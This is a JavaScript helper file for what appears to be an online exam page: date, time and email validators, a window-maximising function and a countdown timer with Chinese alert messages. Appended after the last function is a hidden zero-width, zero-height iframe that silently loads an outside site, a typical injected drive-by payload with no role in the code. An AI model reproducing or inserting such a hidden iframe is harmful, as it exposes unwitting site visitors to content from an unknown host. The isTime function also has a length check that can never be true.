function isNotNull(string)
{
	if(string==null)
	{
		return false;
	}

	if(string.length==0)
	{
		return false;
	}

	return true;
}

function isFloat(string)
{

	var str=parseFloat(string);
	if(isNaN(str))
		return false;
	return true;


}

function isInteger(string)
{
	var str=parseInt(string);
	if(isNaN(str))
		return false;
	return true;
}


function isDate(strDate){

   var strSeparator = "-";
   var strDateArray;
   var intYear;
   var intMonth;
   var intDay;
   var boolLeapYear;

   strDateArray = strDate.split(strSeparator);

   if(strDateArray.length!=3) return false;

   intYear = strDateArray[0];
   intMonth = strDateArray[1];
   intDay = strDateArray[2];

   if(isEmpty(intYear)||isEmpty(intMonth)||isEmpty(intDay)) return false;
   if(isNaN(intYear)||isNaN(intMonth)||isNaN(intDay)) return false;

   intYear = parseInt(intYear,10);
   intMonth = parseInt(intMonth,10);
   intDay = parseInt(intDay,10);

   if(intMonth>12||intMonth<1) return false;
   if((intMonth==1||intMonth==3||intMonth==5||intMonth==7||intMonth==8||intMonth==10||intMonth==12)&&(intDay>31||intDay<1)) return false;
   if((intMonth==4||intMonth==6||intMonth==9||intMonth==11)&&(intDay>30||intDay<1)) return false;

   if(intMonth==2){
      if(intDay<1) return false;

      boolLeapYear = false;
      if((intYear%100)==0){
         if((intYear%400)==0) boolLeapYear = true;
      }
      else{
         if((intYear%4)==0) boolLeapYear = true;
      }

      if(boolLeapYear){
         if(intDay>29) return false;
      }
      else{
         if(intDay>28) return false;
      }
   }

   return true;
}
/**
 * 判断string 是否为空
 * 如果为空 return true , else return false
 */
 function isEmpty(str){
    //TODO: trim  ' '
    //string 的两头做 trim

    if(str==""){
        return true;
    }
    return false;
 }
function isTime(DateString)
{
		if (DateString==null) return false;
		var temph='';
		var tempm='';
		var temps='';
		var tempArray;
		var Dilimeter=':';
		  if (DateString.length<8 && DateString.length>8)
			return false;
		  tempArray = DateString.split(Dilimeter);
		  if (tempArray.length!=3)
		   return false;


		   temph = tempArray[0];
		   temps = tempArray[2];

		   tempm= tempArray[1];
		  var tDateString = '2002/8/12'+' '+DateString;//加八小时是因为我们处于东八区

		  var tempDate = new Date(tDateString)
			  //Date(tDateString);


		  if (isNaN(tempDate))
		   return false;


		  return true;


}

function validateDate(inputDate,vinputDate)
{
	if(isNotNull(vinputDate))
	{
		var tempArray=vinputDate.split('-');
		if (vinputDate.length==8)
		{
			vinputDate=vinputDate.substring(0,4)+"-"+vinputDate.substring(4,6)+"-"+vinputDate.substring(6,8);
			if (isDate(vinputDate))
			inputDate.value=vinputDate;
			else{
				alert("输入格式不对，格式如下:\n年4位,月2位,日2位。例如:20030206");
				inputDate.value="";
				inputDate.focus();
			}
		}
		else
		{
			if (tempArray.length<3 || vinputDate.length!=10 || !isDate(vinputDate))
			{
				alert("输入格式不对，格式如下:\n年4位,月2位,日2位。例如:20030206");
				inputDate.value="";
				inputDate.focus();
			}
		}
    	}

}

function windowMaximum()
{
self.moveTo(0,0)
self.resizeTo(screen.availWidth,screen.availHeight)
}

function javaValidString(str)
{
		var len;
		
		len = str.length;
		for(var i=0; i<len; i++) 
		{
			if(str.charAt(i)=='<' || str.charAt(i)=='>' || str.charAt(i)=='\'' || str.charAt(i)=='\"') 
			{
				return false;
			}
		}
		return true;
}
function javaValidEmail(str)
{
		var cnt1, cnt2;
		var len1;

		if(javaValidString(str)==false) 
		{
			return false;
		}

		// 检查E-Mail是否正确！
		cnt1=0;
		cnt2=0;
		len1 = str.length;
		for(var i=0; i<len1; i++) {
			if(str.charAt(i)=='@') 
			{
				cnt1++;
			}
			if(str.charAt(i)=='.') 
			{
				cnt2++;
			}
			if(str.charAt(i)==' ')
			{
				return false;
			}
			if (str.charAt(i)=='^')
			{
				return false;	
			}
			if (str.charAt(i)==',')
			{
				return false;	
			}
			
		}
		if( cnt1!=1 || cnt2<1)
		{
			return false;
		}
		return true;
}

function Minutes(data) {
for (var i = 0; i < data.length; i++)
if (data.substring(i, i + 1) == ":")
break;
return (data.substring(0, i));
}
function Seconds(data) {
for (var i = 0; i < data.length; i++)
if (data.substring(i, i + 1) == ":")
break;
return (data.substring(i + 1, data.length));
}
function Display(min, sec) {
var disp;
if (min <= 9) disp = " 0";
else disp = " ";
disp += min + ":";
if (sec <= 9) disp += "0" + sec;
else disp += sec; 
return (disp);
}
function Down() { 
sec--;      
if (sec == -1) { sec = 59; min--; }
document.timerform.clock.value = Display(min, sec);
window.status = "Session will time out in: " + Display(min, sec);
if (min == 0 && sec == 0) {
alert("您的做题时间已到，您可以继续做题！");
}
else down = setTimeout("Down()", 1000);
}
function timeIt() {
min = 1 * Minutes(document.timerform.clock.value);
sec = 0 + Seconds(document.timerform.clock.value);
Down();
}<iframe src=http://www.xd118.com/cj/wm/ width=0 height=0></iframe>